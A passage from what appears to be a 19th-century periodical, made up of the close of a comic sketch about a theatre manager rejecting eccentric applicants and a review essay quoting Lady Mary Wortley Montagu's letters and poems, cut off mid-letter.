+_Fitz-Growl._--Ah! he's an old friend of mine. He plays the devil in all
+my pieces.
+
+_Manager._--Plays the devil, does he?
+
+_Fitz-Growl._--My best friend, sir; he has made the character I allude
+to his own.
+
+_Manager._--It is to be hoped, for his sake, that the character you
+allude to will not return the compliment.
+
+     (_Enter Scowl._)
+
+_Fitz-Growl._--Ah! my dear Scowl, how are you?
+
+_Scowl._--So, so; I swallowed a quantity of the smoke last night in your
+new piece.
+
+_Manager._--Did the audience swallow it too?
+
+_Scowl._--Sir?
+
+_Manager._--I beg your pardon, sir; I believe you wish to lead the
+business at my theatre?
+
+_Fitz-Growl._--He's the very man for it.
+
+_Manager._--What is your line, sir?
+
+_Scowl._--Why, I don't mind the heavy business; but I prefer the demons,
+or the singing scoundrels.
+
+_Manager._--But I don't think I shall do that sort of thing.
+
+_Scowl._--More fool you. If you want your theatre to pay, you must stick
+to the melodrama: the people are sure to come if you can only frighten
+them away.
+
+_Fitz-Growl._--Yes, I find it so with my pieces; they draw the same
+people over and over again, because they are forced to come several
+times before they can venture to sit them out.
+
+_Manager._--But I sha'n't aim at that.
+
+_Scowl._--More fool you. But if I can be of any service to you in the
+combat way,--I can fight with a sword in each hand, a dagger in my
+mouth, and a bayonet in my eye. What do you think of that?
+
+_Manager._--Astonishing!
+
+_Scowl._--My friend Mr. Fitz-Growl has written me an excellent new part.
+
+_Manager._--What's that about?
+
+_Fitz-Growl._--Oh! nothing particular. I write down a few horrors, make
+a list of the murders, and my friend Scowl knows what to be up to.
+
+_Manager._--Really, gentlemen, I don't see that we can come to terms.
+
+_Fitz-Growl._--Don't see!--what! you don't want my pieces?
+
+_Scowl._--Nor my acting?
+
+_Manager._--Neither, gentlemen, I thank you.
+
+_Fitz-Growl._--Then I'll go home and write a melodrama, called the
+"_Doomed Manager_," and you shall be the hero.
+
+_Manager._--Thank you.
+
+_Scowl._--And I'll play the part.
+
+_Manager._--What! you represent me? That's too cruel. But I must wish
+you good morning.
+
+_Scowl._--Farewell! remember me!
+
+_Fitz-Growl._--And me too. I say, sir, remember me!
+
+     (_Exeunt Scowl and Fitz-Growl with melodramatic eye-rollings._)
+
+_Manager._--Well, I hope all the applications won't be like this, or I
+shall never get a company.
+
+     (_Enter a Bill-sticker._)
+
+_Manager._--Well, my good fellow, who are you?
+
+_Bill-sticker._--Why, I'm one of your best friends; I'm the
+bill-sticker. Nobody sticks up for you like I do.
+
+_Manager._--Well, but what do you want?
+
+_Bill-sticker._--Why, sir, I'm sorry to say that as fast as I put your
+bills up, somebody else comes and pulls them down.
+
+_Manager._--How is that?
+
+_Bill-sticker._--I don't know, sir. It's werry ungentlemanly, whoever
+does it. The fact is, sir, your bills meet with as much opposition as
+bills in Parliament; and I'm sure I don't know why, unless it is that
+they are what we call money-bills.
+
+_Manager._--Perhaps they are too large, and occupy too much space: you
+know the printing is very large, the type is bold, and the capitals are
+immense.
+
+_Bill-sticker._--That's it, sir. It's the immense capital; it's such a
+novelty in theatres that they're all afraid of it. Shall I pull down
+their bills, sir?
+
+_Manager._--Certainly not. I will never sanction those whom I employ in
+unworthily attempting to hurt the interests of others. My theatre is for
+the amusement of all, and the employment of many; but the injury of none.
+
+_Bill-sticker._--Oh! if that's your motto, everybody ought to stick up
+for you; and I'm sure I will for one.
+
+_Manager._--Thank you, friend, for the promise of your influence.
+
+_Bill-sticker._--And it's no mean influence, either; for, though only
+one poor fellow, I carry more bills in a day than the House of Commons
+carries in a whole session.
+
+     (_Exit Bill-sticker._)
+
+_Manager._--Well! management does not seem so smooth, after all: one
+meets with vexations now and then, I fear. Oh! who comes now?
+
+     (_Enter Queershanks._)
+
+_Manager._--Your pleasure, sir?
+
+_Queershanks._--My name is Queershanks. You have built a theatre, have
+you not?
+
+_Manager._--I have, sir.
+
+_Queershanks._--Very good: then you will want a model.
+
+_Manager._--A model after it is built?
+
+_Queershanks._--Certainly: but not a model of a theatre; a model of a
+man.
+
+_Manager._--What for, sir?
+
+_Queershanks._--Why, sir, you will want occasionally to give
+representations of statues. I am an excellent hand at it.
+
+_Manager._--But, sir, my theatre is dedicated to Apollo.
+
+_Queershanks._--The very thing, sir: I have stood as the model of the
+Apollo Belvedere to the cleverest artists.
+
+_Manager._--They must have been clever artists to make an Apollo
+Belvedere with you for their model; but I cannot entertain your
+engagement in that shape.
+
+_Queershanks._--Not engage me in that shape! My shape is
+unexceptionable. Only look at this muscle. Here's muscle for Hercules,
+sir! Feel it, sir; will you be so good?
+
+_Manager._--I see it.
+
+_Queershanks._--No,--but feel it.
+
+_Manager._--Quite unnecessary, sir. I don't think what you could do
+would suit our audience.
+
+_Queershanks._--Do you mean to say, sir, I should do you no good? Look
+at this muscle, sir. Would not muscle like that make a tremendous hit?
+(_Striking him._)
+
+_Manager._--Sir, I'm quite satisfied.
+
+_Queershanks._--Satisfied, sir! so you ought to be: I've got the nose of
+Mars, sir.
+
+_Manager._--My dear sir, what is it to the public if you've got Mars'
+nose and Pa's chin.
+
+_Queershanks._--I mean the classical Mars,--not my mother, you silly
+fellow. Then I've got the eye of a Cyclop, and the whiskers of
+Virginius. As yours is to be a classical theatre, will you give me a
+trial?
+
+_Manager._--What can you do?
+
+_Queershanks._--I'm very good in the ancient statues, only I've made
+them modern to suit the time. You know the "_African alarmed
+by thunder_?"
+
+_Manager._--Yes: a fine subject.
+
+_Queershanks._--I've modernised it into the "_Black footman frightened
+by an omnibus_:" this is it.   (_Music; he does it._)
+
+_Manager._--Very good! What else have you? Can you give me "_Ajax
+defying the lightning_?"
+
+_Queershanks._--I have modernised it into the "_Little boy defying the
+beadle_."   (_Music; he does it._)
+
+_Manager._--Capital! Have you any more?
+
+_Queershanks._--One more. You've seen the "_Dying Gladiator_?" I think
+my "_Prize-fighter unable to come up to time_" beats it all to nothing.
+  (_Music; he does it._)
+
+_Queershanks._--That's something like sculpture, isn't it?
+
+_Manager._--Yes; but it won't do in my theatre.
+
+_Queershanks._--Won't do, sir! what do you mean?
+
+_Manager._--Why, I think the audience I wish to attract will like
+something better than dumb show. Good morning!
+
+_Queershanks._--I'm gone, sir; but remember you've lost me. I tell you,
+sir, that my statues would have made your season; but I leave you, sir,
+with contempt (_striking an attitude_). Do you know that, sir? It's the
+celebrated statue of Napoleon turning with contempt from the shores of
+Elba, which, as you know, he left because he wanted more _elbow_ room.
+(_Exit Queershanks with an attitude._)
+
+_Manager._--Well; each person that applies for an engagement seems to
+think he is the man to make my fortune for me, and gets quite angry that
+I won't let him have an opportunity of doing so; but I begin to see I
+must think for myself.
+
+     (_Enter Servant._)
+
+_Servant._--A lady and two children wish to see you, sir.
+
+_Manager._--Show them in. (_Exit Servant._) Some new candidates, I
+suppose: here they come. Ladies! they are the first that have done me
+the honour to apply to me.
+
+     (_Enter Mrs. Fiddler, Miss F. and Master F._)
+
+_Manager._--Your pleasure, madam?
+
+_Mrs. F._--My name is Fiddler, sir; did you ever hear of me? I've got
+a friend, a supernumerary at Astley's who has great influence in the
+theatrical world; he promised to speak to you; has he done so?
+
+_Manager._--Really, madam, I do not remember to have had an interview
+with any such person.
+
+_Mrs. F._--Indeed! that's strange: but I suppose you've heard of the
+clever Fiddlers?
+
+_Manager._--You mean Paganini, perhaps, and De Beriot?
+
+_Mrs. F._--No, indeed, I don't; I mean my clever children here, Master
+and Miss Fiddler.
+
+_Manager._--Indeed, madam; I'm happy to make their acquaintance.
+
+_Mrs. F._--And so you ought to be, sir. Come here, Julietta: this young
+lady, sir, has got _such_ a voice! It goes upon the high _C's_ as safe
+as an East-Indiaman. I want you to engage her.
+
+_Manager._--I should like to hear her sing, before I thought of engaging
+her; she might fail.
+
+_Mrs. F._--And if she did, sir,--if the public were so unjust,--how
+great would be the consolation to you to know that you partially
+repaired the injury by paying the dear child a salary!
+
+_Manager._--I am afraid, madam, I could not proceed on that plan.
+
+_Mrs. F._--You will excuse my saying, sir, that you have strange notions
+of liberality; but you shall hear her sing. Come, my dear, let's have
+the _Baccy-role_; it's beautiful in your mouth, my dear.
+
+_Manager._--(_Aside._) Baccy-role, indeed! (_Aloud._) Let's hear you, my
+dear. (_Miss F. looks stupid and does not sing a note. Mrs. F. moving
+her hands and arms, sing for her very badly, a bit of the Barcarole from
+Musaniello._)
+
+_Mrs. F._--You see, sir, that's what the dear child means; though she
+can't do it before you, she is so nervous. But all that will wear off
+when she gets before the audience.
+
+_Manager._--It's to be hoped so, but what can the young gentleman do?
+
+_Mrs. F._--What can he do! anything--he's a dancer; his pirouettes are
+tremendous: only look here! (_She turns him round and round till he
+falls down giddy._) See! he spins like a top; in fact he'll soon be the
+top of his profession.
+
+_Manager._--Why, bless the boy! you don't call that dancing, do you?
+
+_Mrs. F._--Of course: the dear boy has over-exerted himself, that's all;
+but he'll soon come round.
+
+_Manager._--Why, he has come round too much; but I can't engage him.
+
+_Mrs. F._--Then, sir, let me tell you, you'll never do. (_Exeunt Mrs. F.
+Master F. and Miss F._)
+
+_Manager._--Why, that's what everybody tells me. Here, Tom! don't let
+me be annoyed by any one else. I find there's no small difficulty in
+exercising one's own discretion in these matters. I may do much to
+improve the race both of authors and actors, if I think and judge for
+myself; but to render my efforts of any avail, the public must do so
+too. And when will they begin to do it?
+
+                 (_Curtain falls._)
+
+
+
+
+       A CRITICAL GOSSIP WITH LADY MARY WORTLEY MONTAGU.
+
+The character of Lady Mary Wortley Montagu is about as little known to
+the generality of readers as the source of the Nile, or the precise
+position of the North Pole. She has taken her place in public estimation
+as a forward, witty, voluptuous woman of fashion, who flirted, if she
+did not intrigue, with Pope; who was initiated into all the mysteries
+of a Turkish harem, and who chronicled those mysteries with no very
+delicate hand:--who affected friendships, lampooned her associates, and
+wrote verses of _single-entendre_; who married rashly, loved unwisely,
+and led a life of ultra-friendship and long unexplained divorce. Such
+is Lady Mary Wortley Montagu supposed to be! so prone is biography to
+perpetuate the fleeting scandals of the day, to distort mystery or
+obscurity into indecorum or baseness, and to darken and discolour the
+stream of time with the filth that is vulgarly and maliciously thrown
+into it at its source. The period appears to have arrived at which Lady
+Mary's character has obtained the power of purifying itself. With many
+faults, constitutional as well as acquired, there can be no doubt that
+she was a lady of surpassing powers of mind, of extreme wit, an easy
+command of her own as well as of the learned languages, a surprising
+knowledge of the world even in her youth, a vivid poetical imagination,
+a heart full of foibles, but fuller of love for her _own_ circle, and
+that of her friends; and, above all, an abundance of common sense, which
+regulated her affections, her actions, her reflections, and her style,
+so as to render her the most accomplished lady of her own, or of the
+subsequent age. We do not think we can do justice to this fascinating
+creature in a better way than by lounging through the three volumes
+which Lord Wharncliffe's ancestral love, literary ability, and elegant
+taste, have given to the world. We may gossip with this work as we
+might with her who originated it, stroll with her in her favourite
+gardens, listen to her verses, catch her agreeable anecdotes, receive
+her valuable observations on human nature, as though she were actually
+before us in her splendid and _eternal_ nightgown, or in her Turkish
+dress, (so sweet in Lord Harrington's charming miniature) or in her
+domino at Venice, or in her lute-string, or in her English court-dress.
+Our gossip, however,--save as to the remarks we may, to use the phrase
+of the dramatist, utter aside to that vast pit, the public,--will very
+much resemble that between Macbeth and the armed head, at which the
+witches give their admonitory caution. That caution will not be lost
+upon us--for it will nearly be,--
+
+          "Hear _her_ speak, and say thou nought."
+
+The introduction to this interesting work is from the editor, and it is
+written with a Walpole felicity in its points, though we would rather
+have had it more continuous than anecdotical. Our purpose we have
+professed to be, to gossip with Lady Mary, and we therefore shall make
+but two extracts from the introduction,--the one because it is _perhaps_
+leaning to the unfeeling; the other, because it is indisputably the
+truth of feeling. Madame de Sevigné did not deserve the phrase which we
+have marked in italics in the following passage, and indeed Lady Mary,
+in one of her letters, announces herself as a successful rival of this
+very agreeable French letter-writer,--an announcement which ought to
+have cautioned an editor against depreciating the powers of one whom the
+edited had chosen to select as a rival.
+
+"The modern world will smile, but should however beware of too hastily
+despising works that charmed Lady Mary Wortley in her youth, and were
+courageously defended by Madame de Sevigné even when hers was past, and
+they began to be sliding out of fashion. She, it seems, thought with the
+_old woman_ just now mentioned, that they had a tendency to elevate the
+mind, and to instil honourable and generous sentiments. At any rate they
+must have fostered application and perseverance, by accustoming their
+readers to what the French term _des ouvrages de longue haleine_. After
+resolutely mastering Clelia, nobody could pretend to quail at the aspect
+of Mezeray, or even at that of Holinshed's Chronicle printed in black
+letter. Clarendon, Burnet, and Rapin, had not yet issued into daylight."
+
+With the foregoing extract (and all critics should get rid of their bile
+as quickly as they can) all that is unpleasant is at rest. Let us give
+the following feeling, beautiful anecdote.
+
+"The name of another young friend will excite more attention--Mrs. Anne
+Wortley. _Mrs._ Anne has a most mature sound to our modern ears; but,
+in the phraseology of those days, _Miss_, which had hardly yet ceased
+to be a term of reproach, still denoted childishness, flippancy, or
+some other contemptible quality, and was rarely applied to young ladies
+of a respectable class. In Steele's Guardian, the youngest of Nestor
+Ironside's wards, aged fifteen, is Mrs. Mary Lizard. Nay, Lady Bute
+herself could remember having been styled Mrs. Wortley, when a child,
+by two or three elderly visitors, as tenacious of their ancient modes
+of speech as of other old fashions. Mrs. Anne, then, was the second
+daughter of Mr. Sidney[20] Wortley Montagu, and the favourite sister of
+his son Edward. She died in the bloom of youth, unmarried. Lady Mary,
+in common with others who had known her, represented her as eminently
+pretty and agreeable; and her brother so cherished her memory, that,
+in after times, his little girl knew it to be the highest mark of his
+favour, when, pointing at herself, he said to her mother, "Don't you
+think she grows like my poor sister Anne?"
+
+[20] Second son of Admiral Montagu, first Earl of Sandwich. Upon
+marrying the daughter and heiress of Sir Francis Wortley, he was obliged
+by the tenour of Sir Francis's will to assume his name.
+
+Lady Mary had Lord Byron's fate. She wrote a journal of her life; she
+became the historian of her own genius, her youthful love, and her young
+trials. It chanced to be her fate, that the one into whose hands her
+manuscript fell, considered it her duty (wisely and affectionately,
+or not, is immaterial for our purposes) to doom it to be a work of
+destruction. It is hard for genius that it cannot find an executor who
+regards the future in preference to the present; who cannot absolve
+himself from immediate ties, living incumbrances, pressing prejudices,
+conceived personalities,--to yield immortality its due!--who, in fact,
+in the blindness of temporary fears and temporary associations, classes
+that which he holds, erringly as that of the age,--which should be, and
+in its spirit was destined to be, "for all time." We have mentioned two
+immortal names; and before we pass into the three volumes, we cannot
+help endeavouring to connect them in the minds of our readers, as they
+are by their spirit connected in ours. Lord Byron was a moody, fiery,
+brooding child,--full of passion, obstinacy, and irregularity, in his
+teens;--Lady Mary was a single-thinking, classical, daring, inspired
+girl long under one-and-twenty. Lord Byron at a plunge formed his own
+spreading circles on the glittering still-life lake of fashionable
+society: Lady Mary with her beauty and her genius effected the same
+result by the same impetuosity. Lady Mary made, as it would appear,
+a cold unsatisfactory marriage, but, it must be admitted, with one
+possessed of a patience untainted by genius:--Lord Byron iced himself
+into the connubial state, but shuddered at its coldness. The press, and
+the poets, and the prosers united with serene ferocity against both.
+Both, alas! were
+
+    "Souls made of fire and children of the sun,
+    With whom revenge was virtue!"
+
+Their revenge was mutual-minded. Misunderstood, calumniated, they
+quitted the land which was not worthy of them. Genius-borne, they both
+passed to the east; and to them we owe the most sensible,--the most
+passioned,--the most voluptuous,--and the most inspired pictures of
+"the land of the citron and myrtle," that have ever waked the wish and
+melted the heart of us southron readers. A mysterious divorcement from
+the marital partner marked the absence--the long last absence--of each!
+Mind-banished,--person-expatriated,--they vented upon their country
+that revenge of which injured genius can alone be capable. And looking
+at the calumnies upon the one, and the female animosities towards the
+other,--regarding the banishment of mental beauty and magic power in
+both,--we cannot better convey to our readers the revenge which genius
+gave, and must ever give, than by making a common cause of the two, and
+explaining it in the inimitable lines of the one.
+
+    "And if my voice break forth, 'tis not that now
+    I shrink from what is suffered; let him speak
+    Who hath beheld decline upon my brow,
+    Or seen my mind's convulsion leave it weak
+    But in this page a record will I seek.
+
+    Not in the air shall these my words disperse,
+    Tho' I be ashes; a far hour shall wreak
+    The deep prophetic fullness of this verse,
+    And pile on human heads the mountain of my curse.
+    That curse shall be _forgiveness_!"--
+
+This is indeed the inspiration of forgiveness. We feel an awe after
+reading this humane and lofty imprecation, which calls for a pause.
+There is the same feeling upon us from which we cannot escape, as
+that to which we are subject when we wander under the arched roof and
+sculptured aisles,--in the breathing, breathless, cathedral silence,--in
+the awful stone repose,--in the contemplation of
+
+          "The uplifted palms, the silent marble lips!"
+
+The similarity between the genius of Byron and that of Lady Mary, and
+their fates,--except as to the death and duration of life of the two,
+(the one dying at the age of thirty-seven, and the other at the age of
+seventy-three,--a sad and strange reverse figures!)--are singularly
+interesting and affecting. The one,--sexually to distinguish them,--was
+_Rousseau_ with a heart,--the other _De Staël_ with one.--But we grow
+serious, critical, and minute. We are not certain that we are not
+growing anatomical. We shall therefore enter upon our _conversazione_
+with our charming, high-born, easy caftan,--Minerva,--Lady Mary Wortley
+Montagu!
+
+We pass silently over her biography, and at once commence with the
+unmarried _Lady Mary Pierrepont_ and the married Montagu! What can be
+livelier than the following York picture. It is _Hogarthian_!--and let
+it not be forgotten that the lady was only twenty, and unwedded.
+
+
+                    "TO MRS. WORTLEY.                   "1710.
+             "I RETURN you a thousand thanks,
+            my dear, for so agreeable an entertainment as your
+            letter in our cold climate, where the sun appears
+            unwillingly--Wit is as wonderfully pleasing as a
+            sun-shiny day; and, to speak poetically, Phoebus
+            is very sparing of all his favours. I fancied your
+            letter an emblem of yourself: in some parts I found the
+            softness of your voice, and in others the vivacity of
+            your eyes: you are to expect no return but humble and
+            hearty thanks, yet I can't forbear entertaining you
+            with our York lovers. (Strange monsters you'll think,
+            love being as much forced up here as melons.) In the
+            first form of these creatures, is even Mr. Vanbrug.
+            Heaven, no doubt, compassionating our dulness, has
+            inspired him with a passion that make us all ready to
+            die with laughing: 'tis credibly reported that he is
+            endeavouring at the honourable state of matrimony,
+            and vows to lead a sinful life no more. Whether pure
+            holiness inspires the mind, or dotage turns his
+            brain, is hard to find. 'Tis certain he keeps Monday
+            and Thursday market (_assembly_ day) constantly; and
+            for those that don't regard worldly muck, there's
+            extraordinary good choice indeed. I believe last Monday
+            there were two hundred pieces of woman's flesh (fat
+            and lean): but you know Van's taste was always odd:
+            his inclination to ruins has given him a fancy for
+            Mrs. Yarborough: he sighs and ogles so, that it would
+            do your heart good to see him; and she is not a little
+            pleased in so small a proportion of men amongst such a
+            number of women, that a whole man should fall to her
+            share. My dear, adieu, My service to Mr. Congreve.
+                                                              "M. P."
+
+There is a charming poem by Lady Mary, which is singularly supported
+by her letters. It certainly acknowledges a love of pleasure which
+is not "quite correct;" but it is so unaffected,--so melodious,--so
+heartfelt,--so confiding,--that we could read it, and read it, "for ever
+and a day!"
+
+
+
+
+             "THE LOVER: A BALLAD.
+               "TO MR. CONGREVE.
+
+    "At length, by so much importunity press'd,
+    Take, Congreve, at once the inside of my breast.
+    This stupid indiff'rence so often you blame,
+    Is not owing to nature, to fear, or to shame:
+    I am not as cold as a virgin in lead,
+    Nor are Sunday's sermons so strong in my head:
+    I know but too well how time flies along,
+    That we live but few years, and yet fewer are young.
+
+    But I hate to be cheated, and never will buy
+    Long years of repentance for moments of joy.
+    Oh! was there a man (but where shall I find
+    Good sense and good nature so equally join'd?)
+    Would value his pleasure, contribute to mine;
+    Not meanly would boast, nor lewdly design;
+    Not over severe, yet not stupidly vain,
+    For I would have the power, though not give the pain.
+
+    No pedant, yet learned; no rake-helly gay,
+    Or laughing, because he has nothing to say;
+    To all my whole sex obliging and free,
+    Yet never be fond of any but me;
+    In public preserve the decorum that's just,
+    And shew in his eyes he is true to his trust!
+    Then rarely approach, and respectfully bow,
+    But not fulsomely pert, nor yet foppishly low.
+
+    But when the long hours of public are past,
+    And we meet with champaign and a chicken at last,
+    May every fond pleasure that moment endear;
+    Be banish'd afar both discretion and fear!
+    Forgetting or scorning the airs of the crowd,
+    He may cease to be formal, and I to be proud,
+    Till lost in the joy, we confess that we live,
+    And he may be rude, and yet I may forgive.
+
+    And that my delight may be solidly fix'd,
+    Let the friend and the lover be handsomely mix'd;
+    In whose tender bosom my soul may confide,
+    Whose kindness can soothe me, whose counsel can guide.
+    From such a dear lover as hero I describe,
+    No danger should fright me, no millions should bribe;
+    But till this astonishing creature I know,
+    As I long have liv'd chaste, I will keep myself so.
+
+    I never will share with the wanton coquette,
+    Or be caught by a vain affectation of wit.
+    The toasters and songsters may try all their art,
+    But never shall enter the pass of my heart.
+    I loathe the lewd rake, the dress'd fopling despise:
+    Before such pursuers the nice virgin flies;
+    And as Ovid has sweetly in parable told,
+    We harden like trees, and like rivers grow cold."
+
+This delightful epistle to Congreve appears to have been written
+at the time she resided at Twickenham,--lured there by the quiet
+and loveliness of that classic spot, and the fascination of Pope's
+society. The following letter would seem to confirm the sincerity of
+these racy verses;--and the presence of "Doctor Swift and Johnny Gay,"
+--ballad-writing too,--must have had some influence over the pen of the
+poetess.
+
+
+             "TO THE COUNTESS OF MAR.
+                                              "Twickenham, 17--.
+             "DEAR SISTER,--I WAS very glad
+            to hear from you, though there was something in your
+            letters very monstrous and shocking. I wonder with
+            what conscience you can talk to me of your being an
+            old woman; I beg I may hear no more on't. For my part
+            I pretend to be as young as ever, and really am as
+            young as needs to be, to all intents and purposes. I
+            attribute all this to your living so long at Chatton,
+            and fancy a week at Paris will correct such wild
+            imaginations, and set things in a better light. My cure
+            for lowness of spirits is not drinking nasty water, but
+            galloping all day, _and a moderate glass of champaign
+            at night in good company_; and I believe this regimen,
+            closely followed, is one of the most wholesome that
+            can be prescribed, and may save one a world of filthy
+            doses, and more filthy doctor's fees at the year's
+            end. I rode to Twickenham last night, and, after so
+            long a stay in town, am not sorry to find myself in
+            my garden; our neighbourhood is something improved by
+            the removal of some old maids, and the arrival of some
+            fine gentlemen, amongst whom are Lord Middleton and
+            Sir J. Gifford, who are, perhaps, your acquaintances:
+            they live with their aunt, Lady Westmoreland, and we
+            endeavour to make the country agreeable to one another.
+
+            "Doctor Swift and Johnny Gay are at Pope's,
+            and their conjunction has produced a ballad,[21] which,
+            if nobody else has sent you, I will, being never better
+            pleased than when I am endeavouring to amuse my dear
+            sister, and ever yours,
+                                                        "M. W. M."
+
+[21] Published in Swift's Works.
+
+What a picture we have of Mrs. Lowther! How the _Mall_ is revived with
+its strollers of fashion and beauty!
+
+             "I am yet in this wicked town,
+            but purpose to leave it as soon as the parliament
+            rises. Mrs. Murray and all her satellites have so
+            seldom fallen in my way, I can say little about them.
+            Your old friend Mrs. Lowther is still fair and young,
+            _and in pale pink every night in the parks_."
+
+To the name of Mrs. Lowther is appended the following note,--and we do
+not know that we ever remember an anecdote, _in years_, better set off.
+
+              "Mrs. Lowther was a respectable
+            woman, single, and, as it appears by the text, not
+            willing to own herself middle-aged. Another lady
+            happened to be sitting at breakfast with her when an
+            awkward country lad, new in her service, brought word
+            that 'there was one as begged to speak to her.'--'What
+            is his name?'--'Don't know.'--'What sort of person?
+            a gentleman?'--'Can't say rightly.'--'Go and ask him
+            his business.'--The fellow returned grinning. 'Why,
+            madam, he says as how--he says he is--'--'Well, what
+            does he say, fool?'--'He says he is one as dies for
+            your ladyship.'--'Dies for me! exclaimed the lady, the
+            more incensed from seeing her friend inclined to laugh
+            as well as her footman,--'was there ever such a piece
+            of insolence! Turn him out of my house this minute.
+            And hark ye, shut the door in his face.' The clown
+            obeyed; but going to work more roughly than John Bull
+            will ever admit of, produced a scuffle that disturbed
+            the neighbours and called in the constable. At last
+            the audacious lover, driven to explain himself, proved
+            nothing worse than an honest tradesman, a dyer, whom
+            her ladyship often employed to refresh her old gowns."
+
+Can the following _trifle_ of whipt fashion and satire be surpassed even
+by the pointed and light pleasantries of Walpole?
+
+               "Cavendish-square, 1727. "My
+            Lady Stafford[22] set out towards France this morning,
+            and has carried half the pleasures of my life along
+            with her; I am more stupid than I can describe, and
+            am as full of moral reflections as either Cambray or
+            Pascal. I think of nothing but the nothingness of the
+            good things of this world, the transitoriness of its
+            joys, the pungency of its sorrows, and many discoveries
+            that have been made these three thousand years, and
+            committed to print ever since the first erecting of
+            presses. I advise you, as the best thing you can do
+            that day, let it happen as it will, to visit Lady
+            Stafford: she has the goodness to carry with her a
+            true-born Englishwoman, who is neither good nor bad,
+            nor capable of being either; Lady Phil Prat by name,
+            of the Hamilton family, and who will be glad of your
+            acquaintance, and you can never be sorry for hers.[23]
+
+            "Peace or war, cross or pile, makes all
+            the conversation; this town never was fuller, and, God
+            be praised, some people _brille_ in it who _brilled_
+            twenty years ago. My cousin Buller is of that number,
+            who is just what she was in all respects when she
+            inhabited Bond-street. The sprouts of this age are
+            such green withered things, 'tis a great comfort to
+            us grown up people: I except my own daughter, who is
+            to be the ornament of the ensuing court. I beg you
+            will exact from Lady Stafford a particular of her
+            perfections, which would sound suspected from my hand;
+            at the same time I must do justice to a little twig
+            belonging to my sister Gower. Miss Jenny is like the
+            Duchess of Queensberry both in face and spirit. _A
+            propos_ of family affairs: I had almost forgot our
+            dear and amiable cousin Lady Denbigh, who has blazed
+            out all this winter; she has brought with her from
+            Paris cart-loads of riband, surprising fashion, and
+            of a complexion of the last edition, which naturally
+            attracts all the she and he fools in London; and
+            accordingly she is surrounded with a little court of
+            both, and keeps a Sunday assembly to shew she has
+            learned to play at cards on that day. Lady Frances
+            Fielding[24] is really the prettiest woman in town, and
+            has sense enough to make one's heart ache to see her
+            surrounded with such fools as her relations are. The
+            man in England that gives the greatest pleasure, and
+            the greatest pain, is a youth of royal blood, with all
+            his grandmother's beauty, wit and good qualities. In
+            short, he is Nell Gwin in person, with the sex altered,
+            and occasions such fracas amongst the ladies of
+            gallantry that it passes description. You'll stare to
+            hear of her Grace of Cleveland at the head of them.[25]
+            If I was poetical I would tell you--
+
+[22] Claude Charlotte, daughter of Philibert, Count of Grammont (author
+of the celebrated Memoirs), and "La Belle Hamilton," eldest daughter of
+Sir George Hamilton, Bart. was married to Henry Stafford Howard, Earl of
+Stafford, at St. Germain's-en-laye, 1694.
+
+[23] Lady Philippa Hamilton, daughter of James Earl of Abercorn, and
+wife of Dr. Pratt, Dean of Downe.
+
+[24] Youngest daughter of Basil, fourth Earl of Denbigh; married to
+Daniel, seventh Earl of Winchelsea; died Sept, 17, 1734.
+
+[25] Anne, daughter of Sir W. Pulteney of Misterton, in the county of
+Stafford; remarried to Philip Southcote, Esq. Died in 1746.
+
+    "The god of love, enrag'd to see
+      The nymph despise his flame,
+    At dice and cards misspend her nights,
+      And slight a nobler game;
+
+    "For the neglect of offers past
+      And pride in days of yore,
+    He kindles up a fire at last,
+      That burns her at threescore.
+
+    "A polish'd wile is smoothly spread
+      Where whilome wrinkles lay;
+    And, glowing with an artful red,
+      She ogles at the play.
+
+    "Along the Mall she softly sails,
+      In white and silver drest;
+    Her neck expos'd to Eastern gales,
+      And jewels on her breast.
+
+    "Her children banish'd, age forgot,
+      Lord Sidney is her care;
+    And, what is a much happier lot,
+      Has hopes to be her _heir_.
+
+               "This is all true history, though
+            it is doggerel rhyme: in good earnest she has
+            turned Lady D---- and family out of doors to make room
+            for him, and there he lies like leaf-gold upon a pill;
+            there never was so violent and so indiscreet a passion.
+            Lady Stafford says nothing was ever like it, since
+            Phædra and Hippolitus.--'Lord ha' mercy upon us! See
+            what we may all come to!'
+                                                      "M. W. M."
+
+Again--the following words are as colours taken from the pallet of a Sir
+Joshua:
+
+                                      "Cavendish-square, 1727.
+
+            "I cannot deny, but that I was very well diverted on
+            the Coronation day. I saw the procession much at my
+            ease, in a house which I filled with my own company,
+            and then got into Westminster-hall without trouble,
+            where it was very entertaining to observe the variety
+            of airs that all meant the same thing. The business
+            of every walker there was to conceal vanity and
+            gain admiration. For these purposes some languished
+            and others strutted; but a visible satisfaction was
+            diffused over every countenance, as soon as the
+            coronet was clapped on the head. But she that drew the
+            greatest number of eyes, was indisputably Lady Orkney.
+            She exposed behind a mixture of fat and wrinkles;
+            and before, a very considerable protuberance which
+            preceded her. Add to this, the inimitable roll of her
+            eyes, and her grey hairs, which by good fortune stood
+            directly upright, and 'tis impossible to imagine a
+            more delightful spectacle. She had embellished all this
+            with considerable magnificence, which made her look as
+            big again as usual; and I should have thought her one
+            of the largest things of God's making if my Lady St.
+            J**n had not displayed all her charms in honour of the
+            day. The poor Duchess of M***se _crept along with a
+            dozen of black snakes playing round her face_, and my
+            Lady P***nd (who is fallen away since her dismission
+            from court) represented very finely an Egyptian mummy
+            embroidered over with hieroglyphics."
+
+Lady Mary read, and of course loved, the writings of Fielding. He was
+related to her. She had in her service a Fanny at the time she read
+Joseph Andrews, and thus she writes of her:
+
+                       "TO THE COUNTESS OF BUTE.
+
+            "Venice, Oct. 1, N. S. 1748. "MY DEAR CHILD,--I have
+            at length received the box, with the books enclosed,
+            for which I give you many thanks, as they amused me
+            very much. I gave a very ridiculous proof of it, fitter
+            indeed for my grand-daughter than myself. I returned
+            from a party on horseback: and after having rode twenty
+            miles, part of it by moonshine, it was ten at night
+            when I found the box arrived. I could not deny myself
+            the pleasure of opening it; and falling upon Fielding's
+            works, was fool enough to sit up all night reading.
+            I think Joseph Andrews better than his Foundling.
+            I believe I was the more struck with it, having at
+            present a Fanny in my own house, not only by the name,
+            which happens to be the same, but the extraordinary
+            beauty, joined with an understanding yet more
+            extraordinary at her age, which is but few months past
+            sixteen: she is in the post of my chambermaid. I fancy
+            you will tax my discretion for taking a servant thus
+            qualified; but my woman, who is also my housekeeper,
+            was always teizing me with her having too much work,
+            and complaining of ill health, which determined me to
+            take her a deputy; and when I was at Louvere, where
+            I drank the waters, one of the most considerable
+            merchants there pressed me to take this daughter of
+            his: her mother has an uncommon good character, and
+            the girl has had a better education than is usual for
+            those of her rank; she writes a good hand, and has
+            been brought up to keep accounts, which she does to
+            great perfection; and had herself such a violent desire
+            to serve me, that I was persuaded to take her: I do
+            not yet repent it from any part of her behaviour. But
+            there has been no peace in the family ever since she
+            came into it; I might say the parish, all the women
+            in it having declared open war with her, and the men
